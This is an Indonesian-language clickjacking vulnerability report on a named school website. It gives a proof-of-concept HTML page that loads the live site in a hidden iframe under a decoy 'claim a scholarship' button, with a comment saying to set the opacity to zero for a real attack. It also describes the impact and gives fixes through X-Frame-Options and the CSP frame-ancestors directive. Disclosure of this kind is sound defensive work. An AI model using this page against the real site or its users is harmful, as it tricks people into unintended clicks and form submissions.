Laporan Kerentanan Clickjacking

Reporter: [Ramdhani, white hats of Catalyst Generation]

Tanggal: [Selasa, 15 April 2025]

Judul: Kerentanan Clickjacking Memungkinkan Tindakan Tidak Sah pada Situs Web Darunnajah (https://www.darunnajah.com)

Summary:

Ditemukan kerentanan clickjacking pada situs web https://www.darunnajah.com. Situs web ini tidak mengimplementasikan mekanisme perlindungan yang memadai terhadap serangan clickjacking, seperti header X-Frame-Options atau directive frame-ancestors dalam Content-Security-Policy. Akibatnya, penyerang dapat memuat situs web ini dalam sebuah <iframe> yang tidak terlihat di atas halaman web berbahaya yang mereka kontrol. Dengan menipu pengguna untuk mengklik elemen yang tampak tidak berbahaya pada halaman berbahaya tersebut, penyerang dapat secara tidak sadar memaksa pengguna untuk melakukan tindakan yang tidak diinginkan pada situs web Darunnajah.

Description:

Situs web https://www.darunnajah.com rentan terhadap serangan clickjacking karena tidak adanya header X-Frame-Options atau konfigurasi Content-Security-Policy yang memadai untuk mencegah framing oleh situs web eksternal. Ini memungkinkan penyerang untuk melakukan serangan UI redress, di mana pengguna tanpa sadar berinteraksi dengan elemen tersembunyi dari situs web Darunnajah yang dilapisi di atas konten berbahaya.

Langkah-langkah untuk Mereproduksi:

Simpan kode HTML berikut sebagai clickjacking_darunnajah.html di server lokal Anda atau gunakan layanan seperti CodePen/JSFiddle:

HTML

```
<!DOCTYPE html>
<html>
<head>
    <title>Demo Clickjacking Darunnajah</title>
    <style type="text/css">
        #target_frame {
            position: absolute;
            top: 0;
            left: 0;
```

```
            width: 800px;
            height: 600px;
            opacity: 0.5; /* Untuk demonstrasi, atur ke 0 untuk serangan sebenarnya */
        }
        #decoy_button {
            position: relative;
            top: 100px;
            left: 200px;
            font-size: 24px;
            padding: 15px 30px;
            background-color: #4CAF50;
            color: white;
            border: none;
            cursor: pointer;
        }
    </style>
</head>
<body>
    <h1>Dapatkan Beasiswa Eksklusif! Klik di Sini!</h1>
    <button id="decoy_button">Klaim Sekarang!</button>
    <iframe id="target_frame" src="https://www.darunnajah.com"></iframe>
</body>
</html>
```

Buka file clickjacking_darunnajah.html di browser web Anda.

Anda akan melihat tombol "Klaim Sekarang!" di atas bingkai situs web Darunnajah (yang mungkin tampak transparan jika Anda mengubah opacity menjadi 0).

Ketika pengguna mencoba mengklik tombol "Klaim Sekarang!", mereka sebenarnya berinteraksi dengan elemen di dalam situs web Darunnajah yang dimuat di dalam <iframe>.

Potential Impact:

Penipuan Klik pada Tautan atau Tombol: Pengguna dapat secara tidak sadar diklikkan pada tautan penting (misalnya, tautan pendaftaran, informasi kontak) atau tombol (misalnya, tombol donasi jika ada) tanpa menyadarinya.
Manipulasi Formulir (jika ada): Jika ada formulir di situs web (misalnya, formulir pendaftaran siswa baru, formulir kontak), pengguna dapat secara tidak sadar dipaksa untuk mengisi dan mengirimkan formulir dengan data yang mungkin dimanipulasi oleh penyerang.
Pengarahan Ulang yang Tidak Disadari: Pengguna dapat secara tidak sadar diklikkan pada tautan yang mengarah ke situs web berbahaya atau situs phishing.
Dampak Visual dan Kebingungan: Meskipun tidak secara langsung berbahaya, penyerang dapat membuat lapisan palsu yang mengganggu pengalaman pengguna atau menyebabkan kebingungan.

Saran Perbaikan:

Untuk mengatasi kerentanan clickjacking ini, disarankan untuk mengimplementasikan salah satu atau kedua mekanisme pertahanan berikut:

Mengirimkan Header X-Frame-Options: Tambahkan header X-Frame-Options dengan nilai DENY untuk mencegah situs web dimuat dalam frame sama sekali, atau SAMEORIGIN untuk hanya mengizinkan halaman dimuat dalam frame dari origin yang sama (https://www.darunnajah.com). Contoh:

X-Frame-Options: DENY
atau

X-Frame-Options: SAMEORIGIN
Menggunakan Content-Security-Policy (CSP) dengan Directive frame-ancestors: Konfigurasi CSP untuk mengontrol dari mana halaman dapat di-frame. Contoh untuk mencegah framing sama sekali:

Content-Security-Policy: frame-ancestors 'none';
Atau untuk hanya mengizinkan framing dari origin yang sama:

Content-Security-Policy: frame-ancestors 'self';
Informasi Tambahan (Opsional):

Jika ada halaman atau fitur spesifik lain di situs web yang menurut Anda lebih rentan atau memiliki dampak yang lebih besar, sebutkan di sini.
Catatan Penting:

Karena https://www.darunnajah.com adalah situs web publik untuk sebuah institusi pendidikan, penting untuk mempertimbangkan potensi dampak yang mungkin timbul meskipun tidak ada fungsi transaksi keuangan langsung. Reputasi dan kepercayaan pengguna bisa terpengaruh jika mereka menjadi korban serangan clickjacking melalui situs web sekolah.